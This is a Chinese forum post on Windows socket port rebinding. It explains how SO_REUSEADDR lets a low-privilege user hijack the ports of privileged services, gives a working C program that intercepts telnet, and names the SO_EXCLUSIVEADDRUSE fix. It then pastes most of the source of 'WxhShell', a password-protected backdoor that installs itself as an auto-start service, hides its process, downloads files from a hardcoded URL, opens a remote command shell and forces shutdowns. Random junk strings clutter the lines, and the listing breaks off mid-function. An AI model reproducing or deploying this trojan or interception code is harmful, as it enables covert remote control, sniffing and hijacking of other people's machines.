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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: *`Ge8?qC  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); S~|\bnE  
#W_-S0>&  
  saddr.sin_family = AF_INET; dww4o~hO  
FS!vnl8`  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); or7l} X  
W55kR.X6M  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); &a\G,Ma  
:Z83*SPc  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 u2I@ fH/  
kaECjZ _&+  
  这意味着什么?意味着可以进行如下的攻击: o##!S6:A  
E=,fdyj.  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 P/k#([:2  
G \$x.  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =4!m] *y  
fX1Ib$v  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6]HMhv  
-&%! 4(Je  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +lf`Dd3  
wjOJn]  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (&_~eYZU  
yVpru8+eD  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 |gT8QP  
R"z}q (O:  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ^ZBTd5t#  
/}eb1o  
  #include %hz5)  
  #include Y%(8'Ch  
  #include 3_{rXtT)'  
  #include    usi3z9P>n  
  DWORD WINAPI ClientThread(LPVOID lpParam);   #nj;F'O](  
  int main() z\WyL;  
  { (d.M} G  
  WORD wVersionRequested; br?pfs$U  
  DWORD ret; f&Juq8s_0  
  WSADATA wsaData; lXVh`+X/l  
  BOOL val; M%$- c3x  
  SOCKADDR_IN saddr; `C^0YGO%  
  SOCKADDR_IN scaddr; PT4iy<  
  int err; yRp&pUtb  
  SOCKET s; _0iV6Bj  
  SOCKET sc; <e@4;Z(h04  
  int caddsize; xxC2 h3  
  HANDLE mt; p@@*F+  
  DWORD tid;   . lSoC`HE  
  wVersionRequested = MAKEWORD( 2, 2 ); YYe=E,q  
  err = WSAStartup( wVersionRequested, &wsaData ); -V'Y^Df  
  if ( err != 0 ) { |h.@Xy  
  printf("error!WSAStartup failed!\n"); w,<n5dMv  
  return -1; , $cpm=1  
  } %T}*DC$&S  
  saddr.sin_family = AF_INET; :{KpnJvd  
   og4mLoLA  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 F$YT4414  
# 3FsK  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 1V,DcolRY  
  saddr.sin_port = htons(23); sP>-k7K.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) v*OT[l7  
  { b |ijkys  
  printf("error!socket failed!\n"); rWN%j)#+  
  return -1; *qr>x8OGp  
  } *c(YlfeZ#  
  val = TRUE; q5) K  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 <Iil*\SC  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) r#J_;P{U  
  { pMf ?'l  
  printf("error!setsockopt failed!\n"); {?}^HW9{  
  return -1; 5'|W(yR}  
  } OgzKX>N`A  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; gA]3h8%w  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *(Z\ "o!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 JI&.d:  
$h  >rs  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) wOEc~WOd  
  { i G%R'/*  
  ret=GetLastError(); `2M*?.vk  
  printf("error!bind failed!\n"); }:]CXrdg>  
  return -1; |Rm_8n%m  
  } YQR[0Y&e=  
  listen(s,2); 5YgT*}L+,  
  while(1) ZdT-  
  { {m_y<  
  caddsize = sizeof(scaddr); :8A@4vMS)?  
  //接受连接请求 9LSV^[QUH  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?*~sx=mC  
  if(sc!=INVALID_SOCKET) zu,Yuq  
  { dleCh+ny?  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); T^#d\2  
  if(mt==NULL) $qR@;=  
  { }>b@=5O  
  printf("Thread Creat Failed!\n"); wZ_"@j<  
  break; onIZ&wrk  
  } `r %lB  
  } _9<Mo;C  
  CloseHandle(mt); ehZ/J5  
  } R}D[ z7  
  closesocket(s); nPjK=o`KR  
  WSACleanup(); 5? f!hB|6  
  return 0; EZZE(dq@gf  
  }   oE,TA2  
  DWORD WINAPI ClientThread(LPVOID lpParam) 1So`]N4  
  { R.YUUXT  
  SOCKET ss = (SOCKET)lpParam; sg4(@>  
  SOCKET sc; 64Tb,AL_  
  unsigned char buf[4096]; ?gMq:[X N  
  SOCKADDR_IN saddr; F;T;'!mb  
  long num; Bc'Mj=>;  
  DWORD val; 5+q dn|9%T  
  DWORD ret; TQQh:y  
  //如果是隐藏端口应用的话,可以在此处加一些判断 0y2zjXM;3  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    I*n]8c  
  saddr.sin_family = AF_INET; Qve5qJ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Rt@O@oDI  
  saddr.sin_port = htons(23); ` ^;J<l  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #9{2aRCJ  
  { b&RsxW7  
  printf("error!socket failed!\n"); N7_(,Gu*R  
  return -1; >1` '5A}s  
  } :G &:v  
  val = 100; _.I58r  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dt/-0~U  
  { .Y^pDR12  
  ret = GetLastError(); 8= g~+<A  
  return -1; n"@){:{4?  
  } @S6@pMo,  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 28 zZ3|Z3  
  { #];ulDq  
  ret = GetLastError(); ^4et; F%  
  return -1; A.~wgJDO  
  } $"?$r  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ST,+]p3L(  
  { .0MY$0s  
  printf("error!socket connect failed!\n"); 8EBd`kiq  
  closesocket(sc); [I7=]X  
  closesocket(ss); (B03f$8}*_  
  return -1; gLK0L%"5  
  } s}bLA>~Ta  
  while(1) >'jkL5l  
  { QvJ29  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 xE!b)@>S  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录  SWyJ`  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 SH O&:2  
  num = recv(ss,buf,4096,0); pwV~[+SS_  
  if(num>0) D Q c pIV  
  send(sc,buf,num,0); MooxT7  
  else if(num==0) D$E#:[  
  break; hDc2T  
  num = recv(sc,buf,4096,0); 7\gu; [n  
  if(num>0) $f>(TW  
  send(ss,buf,num,0); q(Ow:3&  
  else if(num==0) =)a %,H  
  break; q#\B}'I{  
  } +{#Z^y6&  
  closesocket(ss); KEf1GU6s  
  closesocket(sc); ;j+*}|!  
  return 0 ; +-|}<mq  
  } XD80]@\za  
[Mj5o<k;I  
n(C M)(ozU  
========================================================== b~(S;1NS'  
6P)DM  
下边附上一个代码,,WXhSHELL ,k(B>O~o  
fUZCP*7>  
========================================================== _rz\[{)  
b`f6(6  
#include "stdafx.h" 2-@t,T  
;Zn&Nc7  
#include <stdio.h> !sYZ1;WAO  
#include <string.h> :z6?  
#include <windows.h> 6o*'Q8h  
#include <winsock2.h> U /xzl4m6  
#include <winsvc.h> D%6}x^`Qk  
#include <urlmon.h> (!Xb8rV0_  
I.`D BI#-f  
#pragma comment (lib, "Ws2_32.lib") H}(WL+7  
#pragma comment (lib, "urlmon.lib") Yu9VtC1  
XinKG< 3!  
#define MAX_USER   100 // 最大客户端连接数 $4og{  
#define BUF_SOCK   200 // sock buffer Pon0(:#1  
#define KEY_BUFF   255 // 输入 buffer *xpPD\{k  
~RZN+N  
#define REBOOT     0   // 重启 nP|ah~ q  
#define SHUTDOWN   1   // 关机 JOs kf(  
{wO .nOB  
#define DEF_PORT   5000 // 监听端口 rd"!&i  
`, 4YPjk^  
#define REG_LEN     16   // 注册表键长度 2EO9IxIf  
#define SVC_LEN     80   // NT服务名长度 +U?73cYN  
n8D'fvY  
// 从dll定义API a.ijc>K  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); GoPMWbI7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @gQ?cU7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); l>J%Q^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ZT`" {#L  
MJa` 4[/  
// wxhshell配置信息 "Nz"|-3Irv  
struct WSCFG { Yq:/dpA_  
  int ws_port;         // 监听端口 MYR\W*B'b  
  char ws_passstr[REG_LEN]; // 口令 x@:98P  
  int ws_autoins;       // 安装标记, 1=yes 0=no Ec}9R3 m  
  char ws_regname[REG_LEN]; // 注册表键名 qoW$Iw*q)B  
  char ws_svcname[REG_LEN]; // 服务名 A;f)`i0l,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 NGEE'4!i7T  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 n7zM;@{7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \Rha7O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no = \K/ulZo  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |:u5R%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x}x)h3e  
)*7{%Ilq  
}; _^!C4?2!  
$XKUw"%  
// default Wxhshell configuration "cbJ{ G1pk  
struct WSCFG wscfg={DEF_PORT, `iEYq0}  
    "xuhuanlingzhe", >xH?`I7;f  
    1, > :0N)Pj  
    "Wxhshell", auM1k]  
    "Wxhshell", #W8c)gkG9  
            "WxhShell Service", Z+4Mo*#  
    "Wrsky Windows CmdShell Service", +?5Vuc%  
    "Please Input Your Password: ", V P7LKfv  
  1, vY[ u;VU  
  "http://www.wrsky.com/wxhshell.exe", P E[5oH  
  "Wxhshell.exe" _ -,[U{  
    }; e$mVA}>Ybp  
M R,A{X  
// 消息定义模块 YeB C6`7y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {yi!vw  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #kJ8 qN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O.aAa5^uh  
char *msg_ws_ext="\n\rExit."; ,V&E"D{u  
char *msg_ws_end="\n\rQuit."; 7dlMDHp\Y  
char *msg_ws_boot="\n\rReboot..."; rERtOgi  
char *msg_ws_poff="\n\rShutdown..."; */vid(P77  
char *msg_ws_down="\n\rSave to "; Z$35`:x&h  
TQvjU!>  
char *msg_ws_err="\n\rErr!"; WJ 'lYl0+7  
char *msg_ws_ok="\n\rOK!"; 8zwH^q[`r  
f,BJb+0  
char ExeFile[MAX_PATH]; .li)k[] ts  
int nUser = 0; #X6=`Xe#  
HANDLE handles[MAX_USER]; m5hu;>gt  
int OsIsNt; EAF\ 7J*  
z,VXH ?.Zo  
SERVICE_STATUS       serviceStatus; 77 ?TRC  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; sr~VvciIy  
`2xt%kC  
// 函数声明 C3 m_sv#e  
int Install(void); Gr3 q  
int Uninstall(void); !=+;9Ry$z  
int DownloadFile(char *sURL, SOCKET wsh); Q0xQx z  
int Boot(int flag); Z(J 1A x  
void HideProc(void); 8"u.GL.  
int GetOsVer(void); F-$NoEL  
int Wxhshell(SOCKET wsl); 48!F!v,j)x  
void TalkWithClient(void *cs); ]!@!qp@  
int CmdShell(SOCKET sock); J.0&gP V  
int StartFromService(void); TJ,?C$3  
int StartWxhshell(LPSTR lpCmdLine); A~L Ti  
6\)u\m`7-l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); LD,T$"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); E,4*a5Fi  
}E)t,T>  
// 数据结构和表定义 }5X.*wz  
SERVICE_TABLE_ENTRY DispatchTable[] = >PGsY[N  
{ YT@H^=  
{wscfg.ws_svcname, NTServiceMain}, rPHM_fW(O@  
{NULL, NULL} fo I:`]2"*  
}; V0gu0+u~R  
W5&KmA  
// 自我安装 lI5>d(6p  
int Install(void) rhN"#?  
{ / ]nrxT  
  char svExeFile[MAX_PATH]; ?X7nM)  
  HKEY key; #;"lBqxY`  
  strcpy(svExeFile,ExeFile); zEeix,IU  
gOaK7A  
// 如果是win9x系统,修改注册表设为自启动 zK*i:(>B  
if(!OsIsNt) { 8#Y_]Z?)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d~b @F&mf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GVdJ&d\x  
  RegCloseKey(key); Qb:.WMj[q+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XK(aH~7xme  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nYK!'x$  
  RegCloseKey(key); vE~<R  
  return 0; 4 @9cO)m  
    } Lf8{']3  
  } &7c#i  
} 14y>~~3C4  
else { < -Ax)zE  
@$wfE\_L  
// 如果是NT以上系统,安装为系统服务 YJwffV}nd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); };cH5bYF  
if (schSCManager!=0) w/7vXz<  
{ U,aMv[ZB  
  SC_HANDLE schService = CreateService mQtOx  
  ( NV`7VYU  
  schSCManager, Btc[  
  wscfg.ws_svcname, "VAbUs  
  wscfg.ws_svcdisp, _ ^^5  
  SERVICE_ALL_ACCESS, 6V1 Z(K  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }oii|=,#^  
  SERVICE_AUTO_START, -}Rh+n`  
  SERVICE_ERROR_NORMAL, 8sL+ik"  
  svExeFile, ^ =H 10A  
  NULL, a#3,qp!  
  NULL, p vu% p8  
  NULL, CO SQ  
  NULL, Z0Qh7xWve  
  NULL "K*^%{  
  ); c*)PS`]t  
  if (schService!=0) qp]s VY  
  { 4WQ 96|F  
  CloseServiceHandle(schService); Uz7V2r%]  
  CloseServiceHandle(schSCManager); #YLI"/Kn  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); FFf ~Vmw  
  strcat(svExeFile,wscfg.ws_svcname); d,t'e?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }cg 1CT5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Zb~G&. 2g  
  RegCloseKey(key); V}4u1oG  
  return 0; g^:7mG6C  
    } Zor Q2>  
  } vu/P"?F  
  CloseServiceHandle(schSCManager); LeMo")dk\  
} jL~. =QD  
} 0O?!fd n  
bj 0-72V  
return 1; <P c;8[  
} mmEe@-lE  
~G~:R  
// 自我卸载 0"`|f0}c  
int Uninstall(void) <9?`zo$y  
{ 'S; l"  
  HKEY key; $60]RCu  
L$f:D2Ei  
if(!OsIsNt) { ?yvjX90  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cX48?srG  
  RegDeleteValue(key,wscfg.ws_regname); Z`@< O%  
  RegCloseKey(key); Pv3 e*I((  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [2zS@p  
  RegDeleteValue(key,wscfg.ws_regname); yrR,7v J  
  RegCloseKey(key); +RD{<~i  
  return 0; /909ED+)>9  
  } P Z+Rz1x  
} G~Fjla\?Q  
} @X#e  
else { OlYCw.Zu  
z%L\EP;o}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X!0m,  
if (schSCManager!=0) {hKf 'd9E  
{ 1$ {Cwb/F  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); " G0HsXi  
  if (schService!=0)  <:`x> _  
  { 2aW"t.[j  
  if(DeleteService(schService)!=0) { u_ym=N57`  
  CloseServiceHandle(schService); -r6LndQs  
  CloseServiceHandle(schSCManager); %|By ?i  
  return 0; WR4\dsgCU  
  } #pp6 ycy  
  CloseServiceHandle(schService); =tfS@o/n  
  } `T$CUlt6  
  CloseServiceHandle(schSCManager); 4031~A8  
} mybjcsV4  
} ZCCwx71j  
FtxmCIVIV~  
return 1; bA3pDt).p  
} gA:N>w&<X  
Twr<MXa  
// 从指定url下载文件 *'ex>4^  
int DownloadFile(char *sURL, SOCKET wsh) 5TcirVO82  
{ +J%9%DqF  
  HRESULT hr; Klk[ h  
char seps[]= "/"; Fu#mMn0c  
char *token; $~2qEe.h  
char *file; ai(J%"D"  
char myURL[MAX_PATH]; _#6ekl|%  
char myFILE[MAX_PATH]; Y,C3E>}Dq  
!l1ycQM  
strcpy(myURL,sURL); 9\W }p\c  
  token=strtok(myURL,seps); a$'= a09  
  while(token!=NULL) Wq]Lb:&{a  
  { -OV!56&  
    file=token; hKYA5]  
  token=strtok(NULL,seps); JGKiVBN  
  } IH0qx_;P&  
BF>3CW7  
GetCurrentDirectory(MAX_PATH,myFILE); 3 ~^}R  
strcat(myFILE, "\\"); - +=+W  
strcat(myFILE, file); K~Hp%.  
  send(wsh,myFILE,strlen(myFILE),0); @-Js)zcl q  
send(wsh,"...",3,0); m>@ *-*8k  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); O&u[^s/^  
  if(hr==S_OK) ~T<o?98  
return 0; Td>Lp=0rU  
else ,V2,FoJ 9  
return 1; r(QjVLjj`k  
rN%aP-sa<  
} 2Aq%;=+*  
X"qC&oZmf  
// 系统电源模块 :TzHI    
int Boot(int flag) []rg'9B2b  
{ <UcbBcW,  
  HANDLE hToken; _e3kO6X  
  TOKEN_PRIVILEGES tkp; nWAx!0G  
DU/WB  
  if(OsIsNt) { MH,vn</Uw  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @ \(*pa  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Dk XB  
    tkp.PrivilegeCount = 1; vo_m$/O  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P I0[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +TnRuehtk  
if(flag==REBOOT) { >O:j.(*!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @4N@cM0   
  return 0; 2nGQD{  
} > %U  
else { H,H=y},  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) wLf=a^c#  
  return 0; GCTf/V\#  
} Be(h x  
  } r!vSYgee  
  else { `kd P)lI `  
if(flag==REBOOT) { 3tlA! e  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *MFsq}\ $  
  return 0; T 6g(,xPcL  
} O67.DEu^  
else { vUXas*s4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <e 'S'  
  return 0; j7|r^  
} ;nbUbRb  
} yF}l.>7D  
hC[MYAaF  
return 1; aa1^cw 5}  
} 420cJ{;A  
dfBTx6/F  
// win9x进程隐藏模块 x xh(VQdg  
void HideProc(void) U`es n?m!  
{ MDCK@?\  
l`s_ #3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k]=Yi;  
  if ( hKernel != NULL ) $6a55~h|(  
  { =sk]/64h``  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }.x&}FqXE  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); hi I`ot  
    FreeLibrary(hKernel); ?-P]m&nh|  
  } 4epE!`z_&  
i(XcNnn6  
return; *LbRLwt  
} Ih]'OaE   
I-Ya#s#m  
// 获取操作系统版本 lth t'|  
int GetOsVer(void) W`KRaL0^  
{ j`Xe0U<  
  OSVERSIONINFO winfo; R&BbXSIDX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vt" 7[!O  
  GetVersionEx(&winfo); R30{/KK  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) m 4Vh R_  
  return 1; (q!tI* }  
  else |7V:~MTkk&  
  return 0; Xx~XW ^lsh  
} NX^%a1D!  
OYEL`!Q  
// 客户端句柄模块 VQ/<MY C  
int Wxhshell(SOCKET wsl) |.x |BJ  
{ ;=IGl:  
  SOCKET wsh; ]:m}nJ_  
  struct sockaddr_in client; :66xrw  
  DWORD myID; _ FcfNF  
{"dU?/d  
  while(nUser<MAX_USER) E.$1CGd+  
{ c[4  H  
  int nSize=sizeof(client); !Qu)JR  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :_%  
  if(wsh==INVALID_SOCKET) return 1; ^h z4IZ^  
gOpGwpYZ,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); er Cl@sq  
if(handles[nUser]==0) !tkP!%w  
  closesocket(wsh); 2G'Au}q0n  
else wD-(3ZVd4  
  nUser++; aO9a G*9T  
  } @3/.W+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); H1H+TTZr  
* _puW x  
  return 0; 72qbxPY13h  
} f>Mg.9gJ(  
51Yq>'8  
// 关闭 socket 0^VA,QkQ\  
void CloseIt(SOCKET wsh) 5+<<:5_6l  
{ Zb)j2Xgl  
closesocket(wsh); []D@"Bz  
nUser--; $okGqu8z.O  
ExitThread(0); "=0#pH1o  
} Y4Hi<JWo  
8v7;{4^  
// 客户端请求句柄 2YD;Gb[8  
void TalkWithClient(void *cs) tl|Qw";I  
{ K4Mv\!Q<8  
~ l~ai>/  
  SOCKET wsh=(SOCKET)cs; gw0b>E8gZ&  
  char pwd[SVC_LEN]; w{J0K; L  
  char cmd[KEY_BUFF]; ] 8sVXZ  
char chr[1]; Ij_Y+Mnl4:  
int i,j; Suixk'-  
k\UDZ)TQV  
  while (nUser < MAX_USER) { >y%*HC!G  
+@wa?"  
if(wscfg.ws_passstr) { H@$\SUc{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a)'^'jm)4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v%|^\A"V  
  //ZeroMemory(pwd,KEY_BUFF); Z }(,OZh  
      i=0; Hf( d x\5  
  while(i<SVC_LEN) { _Y '+E  
kK2x';21  
  // 设置超时 0GW(?7ZC  
  fd_set FdRead; @GzEhv  
  struct timeval TimeOut; R=jIVw'  
  FD_ZERO(&FdRead); u 9Wi@sO#  
  FD_SET(wsh,&FdRead); :jB8Q$s  
  TimeOut.tv_sec=8; iV5x-G`  
  TimeOut.tv_usec=0; H-GlCVq~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ti`H?9t  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ` V}e$  
Gma)8X#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); md_9bq/w  
  pwd=chr[0]; x35(i  
  if(chr[0]==0xd || chr[0]==0xa) { =vx iqRm  
  pwd=0; ;EZ$8|  
  break; iX 0s4  
  } : E `N0UA  
  i++; "V!y"yQ  
    } &DC o;Ij;  
Fw!CssW  
  // 如果是非法用户,关闭 socket @}:}7R6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nd(O;XBI  
} Ay'2! K,I  
u(B0X=B  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *k:Sg*neVq  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RX.n7Tb  
trL:qD+{(  
while(1) { UTw f!  
HMbF#!E  
  ZeroMemory(cmd,KEY_BUFF); =}txcA+  
juPW!u  
      // 自动支持客户端 telnet标准    PDaD:}9  
  j=0; g6:S"Em  
  while(j<KEY_BUFF) { G"3)\FEM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x{IxS?.j+  
  cmd[j]=chr[0]; Z)cGe1?q  
  if(chr[0]==0xa || chr[0]==0xd) { gR)T(%W  
  cmd[j]=0; YNCQPN\v`1  
  break; fMaUIJ:Q9  
  } j_ dCy  
  j++; HE0UcP1U  
    } 6]#pPk8[Z  
w8M,35b  
  // 下载文件 .Ua|KKK C  
  if(strstr(cmd,"http://")) { xh[De}@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5 3=zHYQ  
  if(DownloadFile(cmd,wsh)) b]s.h8+v;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4:Adn?"  
  else `!<RP'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zmk#gk2H  
  } sFaboI  
  else { <%fcs"Mb  
4J3cQ;z  
    switch(cmd[0]) { B>, O@og  
  k^-HY[Q9  
  // 帮助 .^BL7  
  case '?': { W$=MuF7R  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); C<Q;3w`#1j  
    break; Tl9KL%9  
  } _MfXN$I?}  
  // 安装 g+Z~"O]$M  
  case 'i': { &Pu}"M$[MH  
    if(Install()) 1:S75~b-`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QGE)Xn#_bN  
    else <4Z;a2l}U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c}K>#{YeB  
    break; R(Y4nw+Y-  
    } Jybx'vZj  
  // 卸载 >(Mu9ie*`  
  case 'r': { O?|st$g  
    if(Uninstall()) $ftcYBZa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [ix45xu7  
    else sV{M#UF2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HhkubG)\  
    break; b= <xzvy  
    } V_*TY6  
  // 显示 wxhshell 所在路径 .\1{>A  
  case 'p': { XKqUbi  
    char svExeFile[MAX_PATH]; o<T_Pjp  
    strcpy(svExeFile,"\n\r"); 4O Lq  
      strcat(svExeFile,ExeFile); QF 2Eg  
        send(wsh,svExeFile,strlen(svExeFile),0); l n}2   
    break; ^DZ(T+q,  
    } #?h#R5:0  
  // 重启 =bm<>h7.)  
  case 'b': { 03aa>IO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9 z_9yT  
    if(Boot(REBOOT)) O+U9 p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C]{:>= K  
    else { r9@4-U7v&  
    closesocket(wsh); xB=~3  
    ExitThread(0); ~$7fU  
    } <{U "0jY!9  
    break; HS!O;7s'  
    } -' 7I|r  
  // 关机 :G?6Hl)~)  
  case 'd': { m}Z=m8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >P*wK9|(  
